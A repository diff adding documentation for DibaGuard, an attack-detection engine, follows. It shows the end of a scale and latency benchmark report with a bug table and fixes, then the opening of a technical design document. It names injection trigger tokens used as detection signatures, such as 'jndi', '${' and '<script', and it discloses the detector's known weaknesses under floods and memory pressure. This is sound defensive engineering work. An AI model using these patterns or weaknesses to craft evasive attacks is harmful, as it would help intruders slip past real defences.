+ **Hosts per batch** (2000 requests per call, no clients; each host is scored with its own profile):
316
+
317
+ | distinct hosts in the batch | Kaggle req/s | Kaggle call p50 ms | local req/s |
318
+ |---|---|---|---|
319
+ | 1 | 2,915 | 733 | 4,875 |
320
+ | 10 | 5,269 | 384 | 7,226 |
321
+ | 100 | 5,100 | 389 | 9,451 |
322
+ | 1000 | 2,197 | 908 | 4,850 |
323
+
324
+ Small per-host groups are cheap (smaller bags), but at 1000 hosts the per-host Python grouping and one model call per
325
+ host cost 2.3x (B4).
326
+
327
+ **Volume** (Kaggle): 300,000 requests from 90,015 distinct clients at a simulated 2000 req/s, batches of 1000:
328
+ 3,934 req/s, per call p50 / p95 / p99 / p99.9 = 246 / 275 / 360 / 848 ms; RSS 698 → 707 MB from 60k to 90k clients.
329
+ Session attackers among them: credential stuffing (118 requests) 100% alarmed, 92% block-safe, family `bruteforce`;
330
+ id enumeration (238) 97.9% alarmed and block-safe, family `scan`; payload requests (119) 100% alarmed (family
331
+ `bruteforce` 83, `webattack` 36 — the session verdict names the client before its payload). **1.57% of the benign
332
+ requests alarmed**: a local replay shows all of them are *challenges* (none block-safe) on failed requests — 404
333
+ pages and 401 logins flagged by the site-wide failure tier, whose fixed floor normal failures exceed at 2000 req/s (B5).
334
+
335
+ ## 5. Database tier (`DbGuard.score`)
336
+
337
+ | batch | Kaggle events/s with DbNet | per-event p50 µs | without DbNet | per-event p50 µs | local with / without DbNet (events/s) |
338
+ |---|---|---|---|---|---|
339
+ | 1 | 1,137 | 872 | 3,206 | 306 | 2,719 / 6,703 |
340
+ | 10 | 2,249 | 440 | 3,435 | 290 | 4,804 / 6,672 |
341
+ | 100 | 2,731 | 360 | 3,423 | 286 | 5,276 / 6,802 |
342
+ | 1000 | 2,447 | 406 | 2,846 | 360 | 4,656 / 6,646 |
343
+
344
+ Volume (Kaggle, 200k events, batches of 1000): 2,293 events/s with DbNet (call p99 495 ms), 2,765 without. Locally
345
+ `classify()` (the signature regexes) costs 99 µs p50 / 270 µs p99 per query and `DbNet.score` 49 µs per query in
346
+ batches of 500. Injected attacks: privilege 20/20, injection 60/60, destructive 20/20, RCE 40/40, exfiltration 20/20;
347
+ auth-failure events named `bruteforce` 232/240 (the first failures of the first burst are below the floor of 8). 1.7%
348
+ of the other events alarmed — a local replay shows every one is a later, normal query of the pod that performed the
349
+ injected 2M-row read: its decayed row counter (tau 300 s) stays over threshold for ~19 minutes, and all its queries are
350
+ reported as `exfil` meanwhile.
351
+
352
+ Peer-volume path (an over-threshold read compares the client with every tracked client, B6):
353
+
354
+ | (db, client) keys tracked | Kaggle ms per over-threshold event | local |
355
+ |---|---|---|
356
+ | 1,000 | 0.44 | 0.15 |
357
+ | 10,000 | 3.29 | 0.90 |
358
+ | 100,000 | 26.8 | 8.3 |
359
+
360
+ ## 6. Go fast path (local i3-12100F, shipped models, 200,000 timed calls per row)
361
+
362
+ Run of 05:20 against `sigs.go` of 04:03 (an earlier run against the 01:36 file gave signatures p50 78.6 µs,
363
+ everything else within 5%). Corpus: 20,000 canonical requests — 75% with browser User-Agents, 25% with an API-client UA without `;`; ~10%
364
+ attacks (SQLi, XSS, traversal, JNDI, cmd injection, SSTI, NoSQLi, scanner paths, SSRF), ~5% benign that look
365
+ suspicious (quotes, `&`, "select" in prose). Latency in µs per call; workers = GOMAXPROCS (`-cpu 1,4,8`).
366
+
367
+ | path | workers | calls/s | p50 | p95 | p99 | p99.9 |
368
+ |---|---|---|---|---|---|---|
369
+ | `MatchSigs` (signatures) | 1 | 12,285 | 89.3 | 171.2 | 201.8 | 264.1 |
370
+ | | 4 | 35,466 | 107.9 | 196.4 | 222.0 | 275.1 |
371
+ | | 8 | 43,067 | 161.1 | 201.7 | 226.6 | 11,833.8 |
372
+ | `HTTPModel2.Logits` (shipped http_v2) | 1 | 15,287 | 58.0 | 108.8 | 137.4 | 209.9 |
373
+ | | 4 | 48,726 | 76.1 | 111.4 | 131.6 | 234.2 |
374
+ | | 8 | 58,184 | 94.4 | 112.9 | 148.2 | 8,958.5 |
375
+ | the same logit with the site FiLM cached (checked equal) | 1 | 28,906 | 32.1 | 62.9 | 75.1 | 130.9 |
376
+ | | 4 | 91,255 | 36.5 | 68.3 | 76.9 | 130.8 |
377
+ | | 8 | 101,151 | 56.5 | 71.9 | 83.0 | 1,010.9 |
378
+ | request path: `MatchSigs`, then the model if allowed | 1 | 6,638 | 151.8 | 298.2 | 351.3 | 442.4 |
379
+ | | 4 | 21,473 | 169.0 | 307.0 | 341.8 | 436.4 |
380
+ | | 8 | 29,263 | 255.3 | 315.6 | 401.2 | 18,629.2 |
381
+ | `SeqNet.Step` (shipped seq_v1: d = 64, 2 layers) | 1 | 26,355 | 33.7 | 55.9 | 63.5 | 140.1 |
382
+ | | 4 | 79,092 | 55.3 | 62.7 | 66.3 | 107.1 |
383
+ | | 8 | 101,357 | 56.5 | 62.9 | 66.8 | 563.9 |
384
+ | tier 0+1 per flow: `EntityState.Update` + the monotone trees | 1 | 133,605 | 7.0 | 11.4 | 14.1 | 32.7 |
385
+ | | 4 | 463,238 | 7.1 | 12.7 | 18.5 | 78.8 |
386
+ | | 8 | 587,136 | 7.1 | 12.1 | 16.6 | 77.3 |
387
+
388
+ Signatures by outcome (1 worker): benign requests that pass the prefilter (23.8% of the benign — the API-client UA)
389
+ p50 / p99 = 2.8 / 7.4 µs; benign requests that reach the regexes 96.3 / 208.4 µs; attacks 61.0 / 172.5 µs (B11).
390
+ Attack requests are *cheaper* than benign ones on the request path (72 vs 156 µs p50): a signature hit skips the
391
+ model. With 8 workers on 4 physical cores the p99.9 is scheduler noise (other processes were running), not code.
392
+ In the tier 0+1 benchmark each worker owns one `EntityState` shard (max 500k sources; 315k distinct sources in the
393
+ 1M-flow pool), as a deployment would shard by source.
394
+
395
+ Existing package benchmarks (`go test -bench . -benchmem`; test fixtures = small random models: HTTP E = 16 / H = 24,
396
+ SeqNet d = 24 — not the shipped sizes): Decide benign 24.5 µs, Persian 27.7 µs, SQLi 89.8 µs, Log4Shell 96.4 µs,
397
+ blocked source 20 ns; ObliviousRaw 1.8 µs; HTTPLogits 8.1 µs; EntityUpdate 312 ns; SeqNetStep 8.8 µs;
398
+ HTTP2Logits 10.0 µs; MatchSigs 2.1 µs (a UA without `;`); MatchSigsAttack 41.6 µs. With the shipped models the model
399
+ steps are 3.7x (SeqNet) and 5.8x (HTTP2) slower than the fixtures suggest, and DESIGN.md's per-layer timings
400
+ (8.6 µs GRU at d = 24, 8.9 µs HTTP) are fixture-size numbers.
401
+
402
+ ## 7. Behaviour under memory pressure — what holds and what does not
403
+
404
+ * **Holds:** RSS is bounded by the caps (2.8–3.4 GB at 500k sources, 5.3M sources seen); no crash or MemoryError in
405
+ any run; the alarm log (50k), the re-calibration buffer (400k rows), the rolling references (200k rows), the
406
+ conformal lists (200k), the campaign tracker (50k keys x 20k) and the site-wide rate tables (200k keys) are all
407
+ bounded; attackers active within the LRU horizon keep their state through a 2.4x-capacity flood; detection of the
408
+ injected attackers did not change between 1M and 5M sources.
409
+ * **Does not hold:** the warm-source GRU table grows without bound with one-shot warm sources (B3); a record's size is
410
+ not bounded by the cap (B9: up to 108 KB for a scanner, so 500k scanner records would need ~54 GB); beyond the cap
411
+ the engine forgets returning sources (34–72% of returning flows found no record between 1M and 5M sources in the
412
+ growing population) and re-treats them as first contact; alarm-heavy batches (floods, distributed scans) are
413
+ 3–6x slower (B7), i.e. the engine is slowest exactly when it is attacked; re-calibration stalls every 30 minutes of
414
+ stream time (B2).
415
+
416
+ ## 8. Bottlenecks and bugs found
417
+
418
+ Line numbers: working tree of 2026-10-31 05:13 (+03:30). Not fixed here.
419
+
420
+ | id | where | what (measured) | cause | proposed fix |
421
+ |---|---|---|---|---|
422
+ | B1 | `dibaguard/engine.py:259-290` `Guard._remember` (concatenate at 267, `rng.choice` at 272, per-source cap 279-290) | ~20–25 ms fixed per `flows()` call locally, 36% of flow time at batch 1000; batch 1 → 48 flows/s. The 05:13 version added a per-source cap that runs `np.unique(b["src"].astype(str), ...)` over the whole buffer on every call (187 ms alone at 400k rows): measured again on that tree, 49 ms per call at batch 1 (20 flows/s), 1.7k flows/s at batch 100, 9.3k at batch 1000 (95k-row buffer) | every call concatenates the whole re-calibration buffer (≤ 400k rows x 9 columns, two of them object arrays), then draws `choice(idx, 400_000, replace=False)`, sorts it and copies every column through a mask — and now also sorts its source column | preallocated ring buffer per column with a write cursor; thin to the random subset, and apply the per-source cap, only when a re-calibration runs (or keep per-source counts incrementally) — makes the per-call cost O(batch) |
423
+ | B2 | `engine.py:378-386` `_maybe_recalibrate` → `_calibrate_refs`; per-row Python loops in `_calibrate_evidence` (444) and `_calibrate_dst_evidence` (498) | 6.4 s locally, ≈ 13–17 s on Kaggle (p50 15.3 s over 13 stalls in run 1, 14.0 s over 4 in run 2), once per 1800 s of stream time, inside the caller's `flows()` call; it is the whole p99 / p99.9 of batch latency | every reference is rebuilt synchronously from ≤ 480k rows; the evidence references replay `SourceEvidence.update` row by row | build the new references off the hot path (a thread / process on a snapshot of the buffer, then swap); vectorise the evidence replay (sort by source, decayed cumulative sums in numpy) |
424
+ | B3 | `engine.py:126` `self.gru`, `_warm_mask` (474-490), cold pop (577) | 300k one-shot scan sources → 300,173 entries, 299,999 still held 30 min later (Kaggle); 717 B each | an entry is removed only when its source sends `warm_flows` (64) more flows; a source that warms and never returns stays forever; `max_entities` does not apply | make it an `OrderedDict` LRU capped at `max_entities` and drop entries idle longer than the warm horizon (e.g. at each re-calibration) |
425
+ | B4 | `engine.py:796-797` `http_requests` per-host loop | 2000 requests over 1000 hosts: 908 ms vs 384–389 ms over 10–100 hosts (Kaggle) | `for h in set(hosts_in): idx = [i for i in range(n) if hosts_in[i] == h]` is O(requests x hosts), plus one model call per host | group in one pass (`np.unique(..., return_inverse=True)` or a dict of index lists); embed the whole batch once, apply each host's profile (distance + FiLM) per group |
426
+ | B5 | `engine.py:109` `global_floor = 10.0`, `engine.py:111` `global_scan_floor = 60.0`, used at 677 and 877 | at 300–600 flows/s, 96–97% of benign failed connects alarmed (tier 5); at 2000 req/s, 1.57% of benign requests challenged | absolute floors on decayed site-wide counts (tau 120 s): the scan tier fires above 0.5 failed connects/s site-wide (any site above ~100 flows/s with 0.5% failures), the HTTP tier above ~5 failures/min on one path. `GlobalRate.calibrate()` (`decide.py:358`) exists but is never used for the scan tier, and the HTTP tier's floor ignores its reference | derive both floors from the site's own benign window (the per-minute peak quantile at the alpha budget, which `GlobalRate.calibrate` already computes), or scale them with the site's rate |
427
+ | B6 | `dibaguard/shield/database.py:365-372` `DbGuard._peer_volume` | 0.44 / 3.3 / 26.8 ms per over-threshold event with 1k / 10k / 100k (db, client) keys tracked (Kaggle) | scans every tracked key of the volume table (up to 200k) for each event to find the db's known peers | iterate `self.known_clients[db]` (tens of app pods) and look each up; also cache the median in `_vol_thr` (353, 363), recomputed per event for clients without history |
428
+ | B7 | `engine.py:730` `np.isin(src, list(bad_src))`; `engine.py:352` (drift guard) `np.isin(<buffer src>, list(self._anchor_src))` | 730: 5000-flow batches where every flow is a named alarm take 3.0 s (flood) / 3.8 s (distributed scan) vs 0.6–0.9 s (Kaggle); 352: one re-calibration took **1,047,733 ms (17.5 min)** on Kaggle (run 3) | numpy's `isin` on object (string) arrays falls back to an O(n x m) loop: isin(5000, 5000) = 278 ms, isin(400k, 5000) = 21 s locally; the anchor holds ≈ 55–66k distinct sources and the buffer ≈ 480k rows | set membership: `S = set(...); np.fromiter((s in S for s in arr), bool, len(arr))` — 24 ms for 400k rows locally — or integer source ids (factorise once) |
429
+ | B8 | `dibaguard/campaign.py:99-122` `CampaignTracker._close`; young spike path 160-164 | growing population: tier 6 flagged ≈ 5% of all benign flows from 400k sources on (Kaggle runs 1–2, ~50k per 1800 s window); isolated trace with the 05:13 file: auth/3306 active with S = 655 after 1.5 h, 6.5% of flows flagged as members; stationary population: zero | windows are added to a fingerprint's history only while it is *not* active, and a young fingerprint fired by the spike path has no own history, so the CUSUM never runs for it: once active, a benign level shift (a growing audience, a diurnal ramp, a new client population) keeps it active forever and S grows without bound. (The worse variant — every busy fingerprint active from the first window after a short calibration — reproduced on the 04:01 file; the 04:32 file fixed it via `_young_bar`.) | a recovery path: admit active windows to the history at reduced weight, or re-baseline after N active windows when the excess is broad (many sources, low concentration — the drift guard's broad-vs-concentrated test); cap S; deactivate a young-fired key when its count falls back under the bar |
430
+ | B9 | `dibaguard/flows/entity.py:30` `MEMORY = 512`; module docstring lines 10-11 | 2,947 B per source on average for the whole engine (Kaggle fit) but 108 KB for a scanner's record (tracemalloc); `EntityState` alone at the 500k cap is 1.0–1.7 GB for ordinary sources (1.9–3.4 KB each), the whole engine plateaus at 2.8–3.4 GB RSS, vs "a few hundred MB at most" in the docstring; 34–72% of returning flows lost their record between 1M and 5M sources | the LRU caps the number of records, not their size (each holds up to 512 (host, port) keys in an `OrderedDict` plus a hosts dict); state is Python objects (~2 KB of overhead per record) | a global key budget, or a small per-source key memory (e.g. 64 hashed keys in a fixed array) with a distinct-count sketch for the new-port / new-host shares; size `max_entities` to RAM at ~3 KB per source; report the eviction rate as a metric |
431
+ | B10 | `go/dibaguard/http2.go:152-162` `HTTPModel2.Logits` | 58.0 → 32.1 µs p50 per request (single core) when the FiLM is computed once (outputs checked equal); 45% of the model's per-request cost | the site FiLM (`tanh(ctx · Wc + bc)`, H x 2H = 32,768 multiply-adds and 256 tanh with the shipped H = 128) depends only on the site profile but is recomputed for every request | compute gamma / beta when the `Site` is set (`LoadHTTP2`, `SiteProfile`) and keep them on `Site` |
432
+ | B11 | `go/dibaguard/sigs.go:50` `triggerBytes` (prefilter in `MatchSigs`, 63-78) | benign requests with a browser User-Agent: 96.3 µs p50 instead of 2.8 µs; only 23.8% of the benign corpus skipped the regexes | `;` is a trigger byte and the canonical text includes the User-Agent, whose browser forms always contain `;` ("Windows NT 10.0; Win64; x64", "iPhone; CPU …", "Linux; Android …"); the package's own `BenchmarkMatchSigs` uses a UA without `;` | prefilter per field: `;`, `|`, backtick only matter for A18 in query / body; scan header fields with their own short trigger list (`${`, `() {`, `jndi`, `<script`, …) |
433
+ | B12 | `dibaguard/hashing.py` `ngram_buckets` / `bag_mean` (via `HttpModel.embed`) | per-request cost rises with batch size: 200 µs at 100, 255 µs at 1000, 417 µs at 5000 (Kaggle) | inferred, not profiled: the batch's n-gram index arrays and the gathered `[n-grams x 48]` embedding rows outgrow the cache | chunk inside `embed` (~100–200 requests per chunk) |
434
+
435
+ **Status after the fixes of 2026-10-31 (afternoon; the numbers above are the measurements that found them).**
436
+
437
+ | id | status | what changed |
438
+ |---|---|---|
439
+ | B1 | fixed | `Guard._remember` queues the batch (O(batch)); the window cut, subsample and per-source cap run in `_flush_buffer` every 50k rows, before a re-calibration and before a snapshot |
440
+ | B2 | open | re-calibration still runs synchronously (6–17 s once per 30 min of stream time); move it off the hot path |
441
+ | B3 | fixed | the warm-source GRU table is an LRU capped at `max_entities // 5` (100k at the default) |
442
+ | B4 | fixed | requests are grouped by Host in one pass |
443
+ | B5 | fixed | `GlobalRate` (scan tier and per-path HTTP tier) fires above `floor + 4 x` the key's own 1-hour baseline (seeded from the calibration window for the scan tier); while hot the baseline learns at 0.1 of the rate |
444
+ | B6 | fixed | `_peer_volume` looks up the database's known clients only |
445
+ | B7 | fixed | hash-set membership (`engine._member`) instead of `np.isin` on object arrays |
446
+ | B8 | fixed | the campaign CUSUM is capped at 2h; a fingerprint fired without its own history ends when its windows fall under half the young bar; one active window in four joins its own history, so a lasting benign level shift is adopted within hours |
447
+ | B9 | open (documented) | per-record size is still unbounded by key count; size `max_entities` to RAM (~3–3.6 KB per source) |
448
+ | B10 | open | the site FiLM is still computed per request in `HTTPModel2.Logits` (Go) |
449
+ | B11 | fixed | `;`, `|`, `&`, backtick are no longer trigger bytes (exact separator-plus-command check) and every signature has an exact prefilter: a browser User-Agent costs 4.3 µs in `MatchSigs` instead of ~96 µs (docs/VALIDATION_REPORT.md §8.3) |
450
+ | B12 | open | chunk `HttpModel.embed` for batches over ~200 requests |
451
+
452
+ Behaviours that are not bugs but matter for operators: after an exfiltration alarm the client's decayed volume keeps
453
+ every later query of it alarmed as `exfil` for ~19 minutes (§5); the HTTP site-wide tier challenges (never blocks).
454
+
455
+ ## 9. Recommendations
456
+
457
+ 1. **B7 first** (one line each): the drift guard's `np.isin` turns every re-calibration into a 17-minute stall on the
458
+ current engine, and the per-batch `isin` makes the engine 3–6x slower during floods and distributed scans.
459
+ 2. **B1 + B2: get the Python engine's per-call cost to O(batch).** A ring buffer for the re-calibration rows and an
460
+ off-the-hot-path re-calibration remove the ~20 ms per call and the 13–17 s stalls; small batches (10–100 flows,
461
+ tens of milliseconds of traffic) then become viable, which is what bounds a flow's time-to-verdict.
462
+ 3. **Bound everything per source: B3 and B9.** Cap the GRU table, give records a fixed size, and size `max_entities`
463
+ to RAM with the measured ~3 KB per source (2M sources ≈ 6 GB + 0.4 GB; 500k ≈ 1.5 GB + references). Report the
464
+ eviction rate: at 2M sources with a 500k cap, more than half of returning traffic is judged without its history.
465
+ 4. **Fix the two biggest benign-alarm sources before calibrating anything else: B8 (campaign lock-in) and B5 (fixed
466
+ site-wide floors).** On stationary traffic they leave ≈ 0.2% of benign source-minutes; with organic growth, B8
467
+ alone flags ~5% of all flows.
468
+ 5. **Throughput planning:** the Python engine does 6.6–9.7k flows/s per Kaggle core at batch 5000; 2 shards scale
469
+ linearly. For more, put the Go tier 0+1 (134k flows/s per core, p99 14 µs) in front and send only warm / flagged
470
+ sources to the Python engine — the cascade the design describes. Sharding by source needs a merged view for the
471
+ destination-side tiers.
472
+ 6. **Go:** B10 and B11 together would bring the request path from 152 µs p50 to roughly 35 µs per core (estimate
473
+ from the measured parts: 2.8 µs signatures + 32.1 µs model; not measured as a whole). Add a shipped-model,
474
+ browser-UA case to the package benchmarks so the numbers in DESIGN.md track the real models.
475
+ 7. **HTTP / DB:** batch HTTP requests at ~100–200 per call (B12, B4 for multi-site layers); fix B6 before a database
476
+ with thousands of clients meets its first dump.
477
+
478
+ ## 10. Not measured
479
+
480
+ * The Go engine's memory per source and its behaviour at millions of sources (only per-call latency); the Go
481
+ `EntityState` (map + `container/list` LRU per table) was not run at scale.
482
+ * `cmd/dibaguard-proxy` / `dibaguard-authz` end to end (network, TLS, HTTP parsing, the sidecar round trip) — being
483
+ refactored by another agent; only the library calls were timed. `Decider.Decide` was timed only by the package's
484
+ existing fixture benchmarks.
485
+ * Queueing latency (time to fill a batch) in a live deployment; the Python engine fed by a real NetFlow / packet
486
+ collector.
487
+ * Real traffic: every input here is synthetic, and benign alarm rates are those of these generators, not of a real
488
+ site. Detection quality beyond the injected attackers (no labelled corpus was used).
489
+ * The Kaggle runs measured four different engine versions (§1.3); per-version speed differences between them were not
490
+ isolated. GPU, ARM and any machine other than the two in §2; more than 4 processes.
491
+ * RSS cost of the GRU entries at scale (counted, not isolated in RSS); per-source eviction counts during the flood.
492
+
493
+ ## 11. Reproduce
494
+
495
+ ```
496
+ # Kaggle (free CPU kernel): the full scale run (~2.3 h), and the stationary-population variant
497
+ python kag.py run --job scale_bench --run-name guard-scale-1 --cpu --hours 3
498
+ python kag.py run --job scale_bench --run-name guard-scale-4 --cpu --hours 2.6 -- --phases capped --zipf-a 0.8 \
499
+ --pop 8000000 --max-sources 2000000 --inject-at 2000000 --reserve-h 0.1 --mark-every 250000
500
+ python kag.py status --run-name guard-scale-1 --result # report: bench/<run>.json in the private results repo
501
+ # (the job pulls the shipped models from code/<run>/models/ in the results repo, else models/)
502
+ # local Python micro-benchmarks (< 1 GB RSS, ~6 min) -> D:/build-tmp/guard/bench/runtime.json
503
+ python scripts/bench_runtime.py
504
+ # Go (shipped flat models under $DIBAGUARD_MODELS, default D:/build-tmp/guard/card_repo/models)
505
+ cd go/dibaguard && go test -run XXX -bench Latency -cpu 1,4,8 -benchtime 200000x -v .
506
+ ```
507
+
508
+ Raw results: `D:/build-tmp/guard/bench/runtime.json` (local Python), `D:/build-tmp/guard/bench/guard-scale-{1,2,3,4}.json`
509
+ (Kaggle), `D:/build-tmp/guard/bench/go_latency.txt` and `go_existing.txt` (Go).
docs/TECHNICAL.md ADDED
@@ -0,0 +1,599 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard — Technical Documentation
2
+
3
+ > **Open-release copy** ([DibaAi/DibaGuard-Open](https://huggingface.co/DibaAi/DibaGuard-Open)). This document was written for the private build of DibaGuard. Numbers that involve the HTTP request model (`http_v2`) were measured with that model, which is **not** part of the open release; the open release ships the licence-clean network models described in `CLEAN_MODELS.md`. Licence statements inside this document are superseded by `DATA_LICENSES.md`, `CLEAN_MODELS.md` and the repository's `LICENSE`, `LICENSE-WEIGHTS` and `NOTICE` files. Sections of the original that were written in Persian were removed from this copy; nothing else was edited.
4
+
5
+ *Version 2.5 (2026-10-31). Open-release copy, see the note below.*
6
+
7
+ DibaGuard is a CPU-light attack-detection and protection layer for networks, web applications, blockchain nodes and
8
+ databases. It sits where a WAF, an IDS and a host firewall would sit — inline in front of an application, as an
9
+ external decision service for an existing load balancer, or beside a host — and turns traffic into *calibrated*
10
+ verdicts: every alarm comes with a controlled false-alarm rate, a named attack family, the evidence that produced
11
+ it, and an action chosen by the operator's policy (report only, or enforce).
12
+
13
+ This document explains how it is built and why: the neural networks and the statistics around them, the ideas that
14
+ make it work on networks it has never seen, everything that was built and measured, what failed and what was
15
+ changed, and how to run, test and integrate it. Every number in the results chapter is produced by a script in the
16
+ repository and regenerated when this document is built.
17
+
18
+ ---
19
+
20
+ ## 1. The problem, and the shape of the answer
21
+
22
+ Attack detection fails in practice for three reasons, and the design answers each one:
23
+
24
+ 1. **Models trained on one network do not transfer to another.** A classifier trained on public datasets learns the
25
+ datasets' quirks (one testbed's packet sizes, another's address plan). Measured early in this project: per-flow
26
+ models with ~0.99 AUROC inside a dataset dropped to 0.47–0.93 on a held-out network, with almost no detection at
27
+ a useful false-alarm rate. **Answer:** the learned parts only see *behaviour* (how a source acts over time, how
28
+ a request or query is *structured*), never raw identities or sizes; and every learned score is turned into a
29
+ decision by **conformal calibration on the site's own traffic**, so the false-alarm rate is controlled *at the
30
+ site*, whatever the training data was.
31
+ 2. **False alarms, not missed attacks, are what get a security tool switched off.** **Answer:** an explicit
32
+ false-alarm budget (α, by default 10⁻³ per source-minute) split across tiers; the reference data each threshold
33
+ is computed from is kept clean *and* complete (sections 4.3–4.5); a first-contact source is never blocked on
34
+ weak evidence; shared addresses (NAT/CGNAT) are challenged rather than blocked; application servers are never
35
+ blocked at the network level.
36
+ 3. **Real attacks are distributed, slow, and adaptive.** **Answer:** a cascade in which every tier looks at a
37
+ different scale — one event, one source's recent stream, one source over half an hour, one destination, the
38
+ whole site, a fingerprint shared across thousands of sources — plus hard, explainable signatures for what never
39
+ needs statistics, and a feedback loop that the operator controls and an attacker cannot poison.
40
+
41
+ The result is one engine (`dibaguard/engine.py`) with a protective shell (`dibaguard/shield/`), a database tier,
42
+ an HTTP edge, a Go fast path, an LLM bridge and an operator console.
43
+
44
+ ---
45
+
46
+ ## 2. Architecture at a glance
47
+
48
+ ```
49
+ ┌────────────────────────────── DibaGuard ───────────────────────────────┐
50
+ traffic ──► adapters ──► CASCADE (per event, vectorised) SHIELD
51
+ flows (NetFlow/IPFIX) tier 0 entity state (36 behaviour counters / source) policy (report | enforce)
52
+ HTTP (proxy/authz) tier 1 monotone tree prior + Mondrian conformal rules (any language, LLM)
53
+ JSON-RPC (chain nodes) tier 1' site-only anomaly (shape features, Fisher) enforcer (nft/iptables/netsh/
54
+ DB logs (6 engines) tier 2 GRU sequence network (per-source state) dry-run), TTLs
55
+ tier 4 per-source evidence: CUSUM, fast + slow posture audit (open ports)
56
+ tier 5 destination-flood evidence feedback (anti-poisoning)
57
+ tier 6 campaign tracker (distributed low-and-slow) NAT / IPv6 identity
58
+ HTTP HttpModel2 (byte n-gram net, site-conditioned) review queue, report
59
+ session stream tier, signatures A01–A22,
60
+ SQL-context analysis of parameters
61
+ DB DbNet + signatures + behaviour + provenance
62
+ └──────────────┬───────────────────────────────────────────┬─────────────┘
63
+ ▼ ▼
64
+ Go fast path (inline proxy / authz for nginx, Envoy, LLM bridge (MCP + REST) and the
65
+ HAProxy, Traefik, Caddy): signatures, model, blocklist operator console (English, approval-gated)
66
+ ```
67
+
68
+ Every tier produces a score; every score becomes a **p-value against the site's own reference**; a tier alarms when
69
+ its p-value is under its share of the false-alarm budget. Families are named by transparent rules over the
70
+ behaviour counters (port walking = scan, the same service again and again with failures = brute force, a flood of
71
+ new sources on one destination = DDoS), with the learned family head only filling gaps.
72
+
73
+ ---
74
+
75
+ ## 3. The learned models
76
+
77
+ ### 3.1 Tier 0 — entity state (behaviour counters)
78
+
79
+ For every source the engine keeps a small record updated per event (`dibaguard/flows/entity.py`): exponentially
80
+ decayed counters over three horizons (10 s, 2 min, 30 min) of flows, bytes, packets, and the *shares* of flows that
81
+ got no reply, were SYN-only, were reset, went to a never-seen port, went to a never-seen host, repeated an already
82
+ used (host, port), or were very short — 30 numbers — plus the gap to the previous flow, its moving average, and three
83
+ destination-side counters (flows to that destination, its no-reply share, its share of new sources). 36 features,
84
+ bounded memory (LRU over sources, 512 (host, port) keys per source). The same code computes training features and
85
+ runtime features, so they are the same numbers.
86
+
87
+ These counters are the representation every other tier reads. They are deliberately *scale-free* and *identity-free*:
88
+ no address, no absolute size — the reason the models transfer between networks.
89
+
90
+ ### 3.2 Tier 1 — monotone gradient-boosted prior
91
+
92
+ A CatBoost model of symmetric (oblivious) trees over 24 source-side counters (8 behaviours × 3 horizons), trained
93
+ with **monotone constraints**: more port walking, more failed connects, more repetition can only raise the score.
94
+ This was introduced after finding that unconstrained trees, trained on public datasets, scored a textbook SYN scan
95
+ *lower* than benign traffic — an artefact of how those datasets were captured. The constraint makes the prior
96
+ behave like a security analyst's intuition and removes that class of artefact. The trees are evaluated by our own
97
+ numpy evaluator (~320,000 flows/s per core; 16 KB file) and a Go port; the score is turned into a p-value against
98
+ the site's reference **per service × source age** (Mondrian conformal, section 4.2).
99
+
100
+ ### 3.3 Tier 1′ — site-only anomaly
101
+
102
+ No labels at all: for each source-side *shape* feature (shares, not volumes — a busy but ordinary client is not
103
+ anomalous), the upper-tail p-value against the site's own reference is computed and the p-values are combined with
104
+ Fisher's method; the combined score is itself calibrated conformally. Pure volume (`flows`) and repetition are left
105
+ out on purpose: both drift for hours in benign traffic and would make the tier a flash-crowd detector. On held-out
106
+ networks this tier alone reached AUROC 0.92–0.996.
107
+
108
+ ### 3.4 Tier 2 — GRU sequence network (SeqNet)
109
+
110
+ What one flow cannot show and even decayed counters only summarise, the *order* of a source's flows does: a scan
111
+ walks ports, brute force repeats one service with short failed connects, a beacon returns at a fixed gap.
112
+
113
+ ```
114
+ per flow: 65 numeric features (log sizes/packets/duration/bytes-per-packet, no-reply, 18 TCP flag bits,
115
+ the 36 entity counters, gap flags) ⊕ port embedding (1,280 × 16; exact for 0–1023, hashed above)
116
+ ⊕ protocol embedding (5 × 4) → 85 inputs
117
+ encoder: Linear 85→64, ReLU, Linear 64→64, ReLU
118
+ GRU: 2 layers, hidden 64, causal (one step per flow; the runtime keeps one hidden vector per source)
119
